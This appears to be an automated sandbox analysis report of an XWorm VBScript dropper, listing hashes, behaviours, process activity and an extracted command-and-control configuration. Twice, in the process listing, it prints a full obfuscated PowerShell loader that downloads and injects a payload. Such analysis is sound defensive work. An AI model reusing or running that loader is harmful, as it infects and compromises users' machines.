Analysis
-
max time kernel
150s -
max time network
157s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
23-05-2024 16:23
Static task
static1
Behavioral task
behavioral1
Sample
windows.vbs
Resource
win7-20231129-en
General
-
Target
windows.vbs
-
Size
72KB
-
MD5
828b53e8f1faed52722f7b7dd53c8c92
-
SHA1
f80c8f0bcb94ea38d10e239b203e4e990b649540
-
SHA256
d0f73c23361be86872a1a87ef43e998a0e1e4fabbd40f5cd86ae333e1a09bdb7
-
SHA512
9273d55d7e193a3853b15dbc7d35cf545e00fb82428d22f554124cd74d694629fe775e626adcdc577d6961c8a86f9d2a57ea822f933533eff82a9a38c2420d87
-
SSDEEP
1536:xvv1gPn2+VbGSZ0way5Nv6/+sfoYNkvYX4+1pFlEixGvQ:x2PRVbnZB5M2s1+r+1rFGvQ
Malware Config
Extracted
xworm
3.1
rachesxwdavid.duckdns.org:8895
HS0J0ha2f3izEQny
-
install_file
USB.exe
Signatures
-
Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral2/memory/400-69-0x0000000000FF0000-0x0000000000FFE000-memory.dmp family_xworm -
Blocklisted process makes network request 5 IoCs
Processes:
powershell.exeflow pid process 8 2964 powershell.exe 10 2964 powershell.exe 12 2964 powershell.exe 14 2964 powershell.exe 15 2964 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation WScript.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
Processes:
wab.exepid process 400 wab.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
Processes:
powershell.exewab.exepid process 3588 powershell.exe 400 wab.exe -
Suspicious use of SetThreadContext 1 IoCs
Processes:
powershell.exedescription pid process target process PID 3588 set thread context of 400 3588 powershell.exe wab.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 7 IoCs
Processes:
powershell.exepowershell.exewab.exepid process 2964 powershell.exe 2964 powershell.exe 3588 powershell.exe 3588 powershell.exe 3588 powershell.exe 3588 powershell.exe 400 wab.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
Processes:
powershell.exepid process 3588 powershell.exe -
Suspicious use of AdjustPrivilegeToken 3 IoCs
Processes:
powershell.exepowershell.exewab.exedescription pid process Token: SeDebugPrivilege 2964 powershell.exe Token: SeDebugPrivilege 3588 powershell.exe Token: SeDebugPrivilege 400 wab.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
wab.exepid process 400 wab.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 3968 wrote to memory of 2964 3968 WScript.exe powershell.exe PID 3968 wrote to memory of 2964 3968 WScript.exe powershell.exe PID 2964 wrote to memory of 2140 2964 powershell.exe cmd.exe PID 2964 wrote to memory of 2140 2964 powershell.exe cmd.exe PID 2964 wrote to memory of 3588 2964 powershell.exe powershell.exe PID 2964 wrote to memory of 3588 2964 powershell.exe powershell.exe PID 2964 wrote to memory of 3588 2964 powershell.exe powershell.exe PID 3588 wrote to memory of 652 3588 powershell.exe cmd.exe PID 3588 wrote to memory of 652 3588 powershell.exe cmd.exe PID 3588 wrote to memory of 652 3588 powershell.exe cmd.exe PID 3588 wrote to memory of 400 3588 powershell.exe wab.exe PID 3588 wrote to memory of 400 3588 powershell.exe wab.exe PID 3588 wrote to memory of 400 3588 powershell.exe wab.exe PID 3588 wrote to memory of 400 3588 powershell.exe wab.exe PID 3588 wrote to memory of 400 3588 powershell.exe wab.exe
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\windows.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Coddle = 1;$Pararctalia='Su';$Pararctalia+='bstrin';$Pararctalia+='g';Function Tilsynsraads($Paradoxer){$Afprver=$Paradoxer.Length-$Coddle;For($Publikummer=5;$Publikummer -lt $Afprver;$Publikummer+=6){$Printerdefinitionerne+=$Paradoxer.$Pararctalia.Invoke( $Publikummer, $Coddle);}$Printerdefinitionerne;}function Handelsmssiges($Overimaginatively){& ($Nondiligently106) ($Overimaginatively);}$Toniskes=Tilsynsraads 'Mana,MWeddioFell,zUncomi C.pilNonbelstanga Ripo/Stakn5Forho.Mythi0 Unde Nonvo( DispW StaniEarthnU.vetdBrystoOutbiwUnives pakk Kirj.N eratTunst. Revo1Remit0tamgs.Brde.0 Rust;Tanch .onomWAntiriSansenomdri6Rip n4Lilje;M als AlloxDoxyc6Folkl4 marg;Oxa,i AmararGaskovRock,:Smile1Eleus2S.xte1recli. ,ndr0Ge.er)Henst BarbaGoutluegadsbcKindlkBumpio .lab/Capit2Vo.dt0Lenda1 She,0 Bus 0 her1Bes,y0Synge1Contr R.stiFDukkeiF.rberslingeEkspafEnteroImprexD,maj/Ureal1Lever2Polyp1 Micr. .gat0Buhko ';$Mellite=Tilsynsraads ' CranU Skams Txthe b rkrS.iff-PrenoALe.sigAlkohe VelsnMi.sitVoice ';$Overmuch=Tilsynsraads 'CurnehGemmitSievetRor.ypFr.bisE,xli:Lealn/Cara /T.ldfwTelotw E fawDamno.,orsmsKubepeTrkkrnUncubdNonlus verip SaloaInobtcAfleveSanda.Di.crc Syllo Wo,emS.ald/Bo.sepFe.rorSexbooKlapp/IntemdPhysilOu,ro/Daryltdisorbhe,vifLoadsv ,ephparr,udUfor. ';$Oscheolith=Tilsynsraads 'Sutte> Fluo ';$Nondiligently106=Tilsynsraads 'SkabeiDetrae.ligtxrub i ';$Taxaers='totemites';Handelsmssiges (Tilsynsraads 'HydroSObte.e SnostStipu-Aqua,CfoldeoSkuldn ,seut Bnd,e,aseknVerdetBlush Raps-StenrP.lotsaJern tTopo,hOkays S avkTCorra: Vara\Koer,FUdbrelKlippoTota pMandip Tid i OvernGymnoeOvervsGo alsStrmf.Unsa,t Ild.xDataot.dsta Rec.n-BlubbV aageaAbstilNonreuRan.feSlegf elon$Mist,Tmaraua Autox Rubia eloneMy derUnlansIncha;Forto ');Handelsmssiges (Tilsynsraads 'Behani Gra.fChalc Udfo ( sphotUdsigeKrukksWennitNy.ed-Paddop PlagavadostIngloh krue Ree eTStati:Hydro\ TobaF Semil,etstoLifesp F rmpD.spliForstnF iakeEs,ivsDk ensTer.i.Defort TechxCe trtLys.r)In ba{Srg,se Krusx,noggiMynd,ttilvi}Akti,; Kame ');$Strmpeholderens = Tilsynsraads 'G jstefornic Un thUnpawo Af r Rockw%SpatiaargolpAarempBu ked Nd aaSt,klt ScruaVictu%Va.id\ Und,Bm,llerEkspei Skama PagnrTelefbStrafeMisunrUnoblrMohamySprge.SekunM S.rdiEgnsplN kke Justi&Ell c&Lgelf rivieUnst cAdriah Likvo nage ,ape$Tactu ';Handelsmssiges (Tilsynsraads ' Nedf$NonligKoncelArts oDobb b D,oma K ynlBebyg:Be,tiPRevokr orsoTidsivMillii ,rdis SolaiTheopoRefern Promm B dleB strnAlte t ,akk=A del(grif cHexamm stild .egu Fedt/Affalc Indb Ska.e$CirkuSBal,lt TrigrroquemHjsp pSkimpe etalhSukkeo O.aclbeviddGlibnevan.urPreexeTidv.nSkrivsovers)Ricci ');Handelsmssiges (Tilsynsraads 'Optrd$skullg GruplstyrtoTrigobTriu,aArti,lStron:SkorzSPotbah .araaMonetdAlthio PlanwWidgi=Grnse$ S,inOKantav ,rane ,opcrBattamTipvou S.necRunouhA sol.Ou wrsSemicpDisa l BudsiChorttSemij(Succo$ atlaO.kytssFoodlcTuxedhS.ciaeOlavuo MumllAf.oliB,holtBalfahu.sol)Pregl ');$Overmuch=$Shadow[0];Handelsmssiges (Tilsynsraads 'Mdele$Trib.gThrallAb teoAnderbWa.fna rudelMinut:SlambS Achtp,lycoeTr,ttkHermauKyurilGerataCossetSem fiKrseloRevoln,verheT.bernKnebnsMetri=lyksaN StateInspiw Rein-PreauOPr kub Gennj,assieStarec Fivet Extr GalloSBaelgyPlje sUnhumtUnshoeUnaffm Kali.B.rtsNMi.abeSpiontAc ou.ConseWFremdeIndflbSkrm.CReb,ll aproiKnutseDelirn,leritRemi ');Handelsmssiges (Tilsynsraads 'Thind$HistrSNonsep ikole CammkStranuDemiulJuic,aUn ect Byg.iJenfooAppeln Ans eScentn.elefsOpera.Ja.ihHEg treTric aGammedBefarePer prInhausYderv[ Drab$ScrofMM.rcueColobl tanl Die,iDestrtPardae elfo].aron= Disk$AnthoTIn.sloPe gen So,riVandlsStjerkprv,pep eudsTilly ');$Suges=Tilsynsraads 'AfregSBramsp LipeeJordvk Pa,luFil,vlnotesaG.debtEnspnisogneoMyc.hnClarieMorgenS,uffsHyper.Ops aDSwineofarvew Pr,tnFremtlPrep.oKompla LanddVr.nsFReintiSereslPhotoeRot r(Pilik$EuropOGlasuvDesaveG.novrAllatmTrisauLdermcA.oophSalva,Stand$ IndoBN.phruWestbb igenaHerpelStileeInt,a)Affyr ';$Suges=$Provisionment[1]+$Suges;$Bubale=$Provisionment[0];Handelsmssiges (Tilsynsraads ' Lvsa$Ska pgUntrel sol.oUdkrsbSrintaVandalDyree:.ylenPCenterAuteciFaggynMycflt G ndeCyli r StivmMatfuaLimitnSammeublystaLaxnelGratasTheop=unt.n(Fj rkTCrypteUnr,ss.ndiatCrean- MoreP PedaaSubartSvrddhHors. Can,l$W.rkmBmilliuTauntboxidia atilUndere Oute)disqu ');while (!$Printermanuals) {Handelsmssiges (Tilsynsraads 'Ankep$ etamgPa lilCo.feoEpithbFysikaMaraglTampo:MulseM DybdaCrip.x RevaiA.putmN.rkoiPoritnCloud= oyol$Bo.dstudelurIn lauSpanse nre ') ;Handelsmssiges $Suges;Handelsmssiges (Tilsynsraads 'SeverSMunketPanoraNothorstvdrtStefa-Om.ilSF,rbilAa yneThyrae MaripTvist Bac,l4 iske ');Handelsmssiges (Tilsynsraads ',egae$KallugAn.iglStikboV,klebHangaaGr,ndlVe tb:WinetP Rod.rBefe.i ,rognostintKs.bleSan,erSkorsmKommaaStoddnFrst,uBere,a Hippl redisTas,e= Inte( FlerT SquaeOverasAnsigt Keci-coeliP Sam a DisktHoneyhAutom Chlor$JunkeBC.lliuMar.ebRhinoaPerf,lSkn,ee Mach)Fr dr ') ;Handelsmssiges (Tilsynsraads ' hodm$FeltdgsatirlJord,o Amphb FarvaDire lPdago:DagskPJuramadigasnRuneitRapereL.totlInduse T ergA.voke SansnFlopheTanha7Blind9Karto=Bur,a$SyncogHaemol No.do.ybvabspeciaKinemlSinte:PatriSLu,esiTrapemSk.nkoPol.enForfaiGaldeaStueecMartyaConcel Tr nlScouryKon.i+ Ford+Bre b%Tripl$ MyceSBetjehAllo,aAcrocdMdereoQu ntwSkvad.Work,c Sd uoScoffuSkelnnTepoytminar ') ;$Overmuch=$Shadow[$Pantelegene79];}$Arkitekttegnes=307942;$sybaritisk=28763;Handelsmssiges (Tilsynsraads 'T.ans$R,allgRoxanl Adreo ophobWi,liaMenthlEnhed:EoghaAV ksetMonteosmokim Javab PyocePrimav KirkbPlissn .kvue AmansSprjt P.eum=Halvg S.favGUdspae Vel.tRa,ca-H glsC Min.o jern .eklt.dehie,ptranAmatrtUnrot Assur$M demB ukkeuAccoubPlumbaUnconlNonareUdskr ');Handelsmssiges (Tilsynsraads 'All m$DancigSa.inlMedlio RepubfjendaN,nsclP,rio:KlavrA Baued SlughMatede Immaselastitri.av,orbueUnb.omGangaeCo,vet,surpeRob.arseams Bipon=om os Belve[FloriSBruteyInconsKommat FleteSaul.mSvikl. TetrCSalmioUd,tynPri.ovva.dleAnsttrSquamtFloss]Maj.s: A,to: AfkrFHjhusr C acoMystimIndtaB CigaaNy,ansTegnfeDehyd6Elfre4SprngS .yketStvdrrMar.viIn.ennWay,lgF,ktu(,rams$jepscAVersitArc,eoCedarm Tyv.bArmcheSu.fav W rtb TorbnPredee M,nusR hei)Micro ');Handelsmssiges (Tilsynsraads 'Selva$TidsrgNephil S,umoTroppbPrepeaD,ivml Bofo:M inmWBe reiNonzoeWrithnNon.eeFatt rArverp Ti slU eclsAt,mkeW.rldn Ond,sSorro deci= Digt Huntl[RenteSP adsy ProdsDdsaatProtaeC,rkumsubar..uffeTIndiveGravexoutp,tHum.e. rhveE,uartnUnb,ncBabasoPoss,dFar.eiS kiynBedimg Phal]Dezym:.nska:Mor.eAHydroSgell,CCabinIb.uttIprofe.EngleGpennae Respt.orurSB,evtt Ved.r.nciniMonofnAmplig,lugt(Foobo$Pa alA UdmudS.akeh Le,eeVikkes Tilsi,enovvServie GlatmHepateForvrt Af reS hisrMili )Irchi ');Handelsmssiges (Tilsynsraads 'Metri$un.ncgNeurolAfsigoTill,b DaniaKa.inlGaffe:mono SSim.lm Smkfi CephtI dhehAntipsDenomoSatisn Radi= Terp$SophiWDeperiKalkpeNonconP ydaePri trHeusepP ranlac.omsidolieTa,rgnLejemsKl.nt. Metas SkiluD,linbSyndrsDepo,t,gehvr ElefiForhanIndekg Exte(Dybfr$ThiouA H,ghrSanerkTilsliDe,astKap ie MakukFla stMyrert,hiaseopbudgKlov,nHexanePoachsO,era,Satur$UrinosOp,luyF.bribInwitaS udsrCacodiGi.gltFrdseiAl essUdplakhelic)Tilsl ');Handelsmssiges $Smithson;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Briarberry.Mil && echo $"3⤵
-
C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Coddle = 1;$Pararctalia='Su';$Pararctalia+='bstrin';$Pararctalia+='g';Function Tilsynsraads($Paradoxer){$Afprver=$Paradoxer.Length-$Coddle;For($Publikummer=5;$Publikummer -lt $Afprver;$Publikummer+=6){$Printerdefinitionerne+=$Paradoxer.$Pararctalia.Invoke( $Publikummer, $Coddle);}$Printerdefinitionerne;}function Handelsmssiges($Overimaginatively){& ($Nondiligently106) ($Overimaginatively);}$Toniskes=Tilsynsraads 'Mana,MWeddioFell,zUncomi C.pilNonbelstanga Ripo/Stakn5Forho.Mythi0 Unde Nonvo( DispW StaniEarthnU.vetdBrystoOutbiwUnives pakk Kirj.N eratTunst. Revo1Remit0tamgs.Brde.0 Rust;Tanch .onomWAntiriSansenomdri6Rip n4Lilje;M als AlloxDoxyc6Folkl4 marg;Oxa,i AmararGaskovRock,:Smile1Eleus2S.xte1recli. ,ndr0Ge.er)Henst BarbaGoutluegadsbcKindlkBumpio .lab/Capit2Vo.dt0Lenda1 She,0 Bus 0 her1Bes,y0Synge1Contr R.stiFDukkeiF.rberslingeEkspafEnteroImprexD,maj/Ureal1Lever2Polyp1 Micr. .gat0Buhko ';$Mellite=Tilsynsraads ' CranU Skams Txthe b rkrS.iff-PrenoALe.sigAlkohe VelsnMi.sitVoice ';$Overmuch=Tilsynsraads 'CurnehGemmitSievetRor.ypFr.bisE,xli:Lealn/Cara /T.ldfwTelotw E fawDamno.,orsmsKubepeTrkkrnUncubdNonlus verip SaloaInobtcAfleveSanda.Di.crc Syllo Wo,emS.ald/Bo.sepFe.rorSexbooKlapp/IntemdPhysilOu,ro/Daryltdisorbhe,vifLoadsv ,ephparr,udUfor. ';$Oscheolith=Tilsynsraads 'Sutte> Fluo ';$Nondiligently106=Tilsynsraads 'SkabeiDetrae.ligtxrub i ';$Taxaers='totemites';Handelsmssiges (Tilsynsraads 'HydroSObte.e SnostStipu-Aqua,CfoldeoSkuldn ,seut Bnd,e,aseknVerdetBlush Raps-StenrP.lotsaJern tTopo,hOkays S avkTCorra: Vara\Koer,FUdbrelKlippoTota pMandip Tid i OvernGymnoeOvervsGo alsStrmf.Unsa,t Ild.xDataot.dsta Rec.n-BlubbV aageaAbstilNonreuRan.feSlegf elon$Mist,Tmaraua Autox Rubia eloneMy derUnlansIncha;Forto ');Handelsmssiges (Tilsynsraads 'Behani Gra.fChalc Udfo ( sphotUdsigeKrukksWennitNy.ed-Paddop PlagavadostIngloh krue Ree eTStati:Hydro\ TobaF Semil,etstoLifesp F rmpD.spliForstnF iakeEs,ivsDk ensTer.i.Defort TechxCe trtLys.r)In ba{Srg,se Krusx,noggiMynd,ttilvi}Akti,; Kame ');$Strmpeholderens = Tilsynsraads 'G jstefornic Un thUnpawo Af r Rockw%SpatiaargolpAarempBu ked Nd aaSt,klt ScruaVictu%Va.id\ Und,Bm,llerEkspei Skama PagnrTelefbStrafeMisunrUnoblrMohamySprge.SekunM S.rdiEgnsplN kke Justi&Ell c&Lgelf rivieUnst cAdriah Likvo nage ,ape$Tactu ';Handelsmssiges (Tilsynsraads ' Nedf$NonligKoncelArts oDobb b D,oma K ynlBebyg:Be,tiPRevokr orsoTidsivMillii ,rdis SolaiTheopoRefern Promm B dleB strnAlte t ,akk=A del(grif cHexamm stild .egu Fedt/Affalc Indb Ska.e$CirkuSBal,lt TrigrroquemHjsp pSkimpe etalhSukkeo O.aclbeviddGlibnevan.urPreexeTidv.nSkrivsovers)Ricci ');Handelsmssiges (Tilsynsraads 'Optrd$skullg GruplstyrtoTrigobTriu,aArti,lStron:SkorzSPotbah .araaMonetdAlthio PlanwWidgi=Grnse$ S,inOKantav ,rane ,opcrBattamTipvou S.necRunouhA sol.Ou wrsSemicpDisa l BudsiChorttSemij(Succo$ atlaO.kytssFoodlcTuxedhS.ciaeOlavuo MumllAf.oliB,holtBalfahu.sol)Pregl ');$Overmuch=$Shadow[0];Handelsmssiges (Tilsynsraads 'Mdele$Trib.gThrallAb teoAnderbWa.fna rudelMinut:SlambS Achtp,lycoeTr,ttkHermauKyurilGerataCossetSem fiKrseloRevoln,verheT.bernKnebnsMetri=lyksaN StateInspiw Rein-PreauOPr kub Gennj,assieStarec Fivet Extr GalloSBaelgyPlje sUnhumtUnshoeUnaffm Kali.B.rtsNMi.abeSpiontAc ou.ConseWFremdeIndflbSkrm.CReb,ll aproiKnutseDelirn,leritRemi ');Handelsmssiges (Tilsynsraads 'Thind$HistrSNonsep ikole CammkStranuDemiulJuic,aUn ect Byg.iJenfooAppeln Ans eScentn.elefsOpera.Ja.ihHEg treTric aGammedBefarePer prInhausYderv[ Drab$ScrofMM.rcueColobl tanl Die,iDestrtPardae elfo].aron= Disk$AnthoTIn.sloPe gen So,riVandlsStjerkprv,pep eudsTilly ');$Suges=Tilsynsraads 'AfregSBramsp LipeeJordvk Pa,luFil,vlnotesaG.debtEnspnisogneoMyc.hnClarieMorgenS,uffsHyper.Ops aDSwineofarvew Pr,tnFremtlPrep.oKompla LanddVr.nsFReintiSereslPhotoeRot r(Pilik$EuropOGlasuvDesaveG.novrAllatmTrisauLdermcA.oophSalva,Stand$ IndoBN.phruWestbb igenaHerpelStileeInt,a)Affyr ';$Suges=$Provisionment[1]+$Suges;$Bubale=$Provisionment[0];Handelsmssiges (Tilsynsraads ' Lvsa$Ska pgUntrel sol.oUdkrsbSrintaVandalDyree:.ylenPCenterAuteciFaggynMycflt G ndeCyli r StivmMatfuaLimitnSammeublystaLaxnelGratasTheop=unt.n(Fj rkTCrypteUnr,ss.ndiatCrean- MoreP PedaaSubartSvrddhHors. Can,l$W.rkmBmilliuTauntboxidia atilUndere Oute)disqu ');while (!$Printermanuals) {Handelsmssiges (Tilsynsraads 'Ankep$ etamgPa lilCo.feoEpithbFysikaMaraglTampo:MulseM DybdaCrip.x RevaiA.putmN.rkoiPoritnCloud= oyol$Bo.dstudelurIn lauSpanse nre ') ;Handelsmssiges $Suges;Handelsmssiges (Tilsynsraads 'SeverSMunketPanoraNothorstvdrtStefa-Om.ilSF,rbilAa yneThyrae MaripTvist Bac,l4 iske ');Handelsmssiges (Tilsynsraads ',egae$KallugAn.iglStikboV,klebHangaaGr,ndlVe tb:WinetP Rod.rBefe.i ,rognostintKs.bleSan,erSkorsmKommaaStoddnFrst,uBere,a Hippl redisTas,e= Inte( FlerT SquaeOverasAnsigt Keci-coeliP Sam a DisktHoneyhAutom Chlor$JunkeBC.lliuMar.ebRhinoaPerf,lSkn,ee Mach)Fr dr ') ;Handelsmssiges (Tilsynsraads ' hodm$FeltdgsatirlJord,o Amphb FarvaDire lPdago:DagskPJuramadigasnRuneitRapereL.totlInduse T ergA.voke SansnFlopheTanha7Blind9Karto=Bur,a$SyncogHaemol No.do.ybvabspeciaKinemlSinte:PatriSLu,esiTrapemSk.nkoPol.enForfaiGaldeaStueecMartyaConcel Tr nlScouryKon.i+ Ford+Bre b%Tripl$ MyceSBetjehAllo,aAcrocdMdereoQu ntwSkvad.Work,c Sd uoScoffuSkelnnTepoytminar ') ;$Overmuch=$Shadow[$Pantelegene79];}$Arkitekttegnes=307942;$sybaritisk=28763;Handelsmssiges (Tilsynsraads 'T.ans$R,allgRoxanl Adreo ophobWi,liaMenthlEnhed:EoghaAV ksetMonteosmokim Javab PyocePrimav KirkbPlissn .kvue AmansSprjt P.eum=Halvg S.favGUdspae Vel.tRa,ca-H glsC Min.o jern .eklt.dehie,ptranAmatrtUnrot Assur$M demB ukkeuAccoubPlumbaUnconlNonareUdskr ');Handelsmssiges (Tilsynsraads 'All m$DancigSa.inlMedlio RepubfjendaN,nsclP,rio:KlavrA Baued SlughMatede Immaselastitri.av,orbueUnb.omGangaeCo,vet,surpeRob.arseams Bipon=om os Belve[FloriSBruteyInconsKommat FleteSaul.mSvikl. TetrCSalmioUd,tynPri.ovva.dleAnsttrSquamtFloss]Maj.s: A,to: AfkrFHjhusr C acoMystimIndtaB CigaaNy,ansTegnfeDehyd6Elfre4SprngS .yketStvdrrMar.viIn.ennWay,lgF,ktu(,rams$jepscAVersitArc,eoCedarm Tyv.bArmcheSu.fav W rtb TorbnPredee M,nusR hei)Micro ');Handelsmssiges (Tilsynsraads 'Selva$TidsrgNephil S,umoTroppbPrepeaD,ivml Bofo:M inmWBe reiNonzoeWrithnNon.eeFatt rArverp Ti slU eclsAt,mkeW.rldn Ond,sSorro deci= Digt Huntl[RenteSP adsy ProdsDdsaatProtaeC,rkumsubar..uffeTIndiveGravexoutp,tHum.e. rhveE,uartnUnb,ncBabasoPoss,dFar.eiS kiynBedimg Phal]Dezym:.nska:Mor.eAHydroSgell,CCabinIb.uttIprofe.EngleGpennae Respt.orurSB,evtt Ved.r.nciniMonofnAmplig,lugt(Foobo$Pa alA UdmudS.akeh Le,eeVikkes Tilsi,enovvServie GlatmHepateForvrt Af reS hisrMili )Irchi ');Handelsmssiges (Tilsynsraads 'Metri$un.ncgNeurolAfsigoTill,b DaniaKa.inlGaffe:mono SSim.lm Smkfi CephtI dhehAntipsDenomoSatisn Radi= Terp$SophiWDeperiKalkpeNonconP ydaePri trHeusepP ranlac.omsidolieTa,rgnLejemsKl.nt. Metas SkiluD,linbSyndrsDepo,t,gehvr ElefiForhanIndekg Exte(Dybfr$ThiouA H,ghrSanerkTilsliDe,astKap ie MakukFla stMyrert,hiaseopbudgKlov,nHexanePoachsO,era,Satur$UrinosOp,luyF.bribInwitaS udsrCacodiGi.gltFrdseiAl essUdplakhelic)Tilsl ');Handelsmssiges $Smithson;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Briarberry.Mil && echo $"4⤵
-
C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\windows mail\wab.exe"4⤵
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4076 --field-trial-handle=1928,i,13242902252791919845,10377620236057253993,262144 --variations-seed-version /prefetch:81⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_gdtuukrq.oqk.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
C:\Users\Admin\AppData\Roaming\Briarberry.MilFilesize
438KB
MD581db82edae38bf944999451235d9e9c0
SHA12250f98c9bfc16d3a5ca9560cb3447aabe04a570
SHA256e593978c513f1c50d0a811ad19022be63b110d3293c25f4693c820305d3cdea9
SHA512c51eb0f644194599484e63f5dedcc180bee5ce64a79d7137e8e3413bea1bb30763438ceb8a8c663f7cd4908f1bfe6642036c6446876f3e078ff9caaa15645bce
-
memory/400-76-0x0000000021C30000-0x0000000021C3A000-memory.dmpFilesize
40KB
-
memory/400-75-0x0000000021CD0000-0x0000000021D62000-memory.dmpFilesize
584KB
-
memory/400-71-0x0000000021990000-0x0000000021A2C000-memory.dmpFilesize
624KB
-
memory/400-68-0x0000000000FF0000-0x0000000002244000-memory.dmpFilesize
18.3MB
-
memory/400-69-0x0000000000FF0000-0x0000000000FFE000-memory.dmpFilesize
56KB
-
memory/2964-43-0x00007FF9EA913000-0x00007FF9EA915000-memory.dmpFilesize
8KB
-
memory/2964-44-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmpFilesize
10.8MB
-
memory/2964-10-0x000001B857EE0000-0x000001B857F02000-memory.dmpFilesize
136KB
-
memory/2964-11-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmpFilesize
10.8MB
-
memory/2964-74-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmpFilesize
10.8MB
-
memory/2964-12-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmpFilesize
10.8MB
-
memory/2964-13-0x00007FF9EA910000-0x00007FF9EB3D1000-memory.dmpFilesize
10.8MB
-
memory/2964-0-0x00007FF9EA913000-0x00007FF9EA915000-memory.dmpFilesize
8KB
-
memory/3588-47-0x0000000007C30000-0x0000000007CC6000-memory.dmpFilesize
600KB
-
memory/3588-52-0x00000000093F0000-0x000000000B766000-memory.dmpFilesize
35.5MB
-
memory/3588-46-0x0000000006E90000-0x0000000006EAA000-memory.dmpFilesize
104KB
-
memory/3588-28-0x0000000005AD0000-0x0000000005AF2000-memory.dmpFilesize
136KB
-
memory/3588-48-0x0000000006F00000-0x0000000006F22000-memory.dmpFilesize
136KB
-
memory/3588-49-0x0000000008E40000-0x00000000093E4000-memory.dmpFilesize
5.6MB
-
memory/3588-27-0x0000000005B80000-0x00000000061A8000-memory.dmpFilesize
6.2MB
-
memory/3588-45-0x0000000008210000-0x000000000888A000-memory.dmpFilesize
6.5MB
-
memory/3588-26-0x0000000002FD0000-0x0000000003006000-memory.dmpFilesize
216KB
-
memory/3588-42-0x00000000069E0000-0x0000000006A2C000-memory.dmpFilesize
304KB
-
memory/3588-41-0x0000000006910000-0x000000000692E000-memory.dmpFilesize
120KB
-
memory/3588-36-0x00000000062B0000-0x0000000006604000-memory.dmpFilesize
3.3MB
-
memory/3588-30-0x0000000005670000-0x00000000056D6000-memory.dmpFilesize
408KB
-
memory/3588-29-0x0000000005B00000-0x0000000005B66000-memory.dmpFilesize
408KB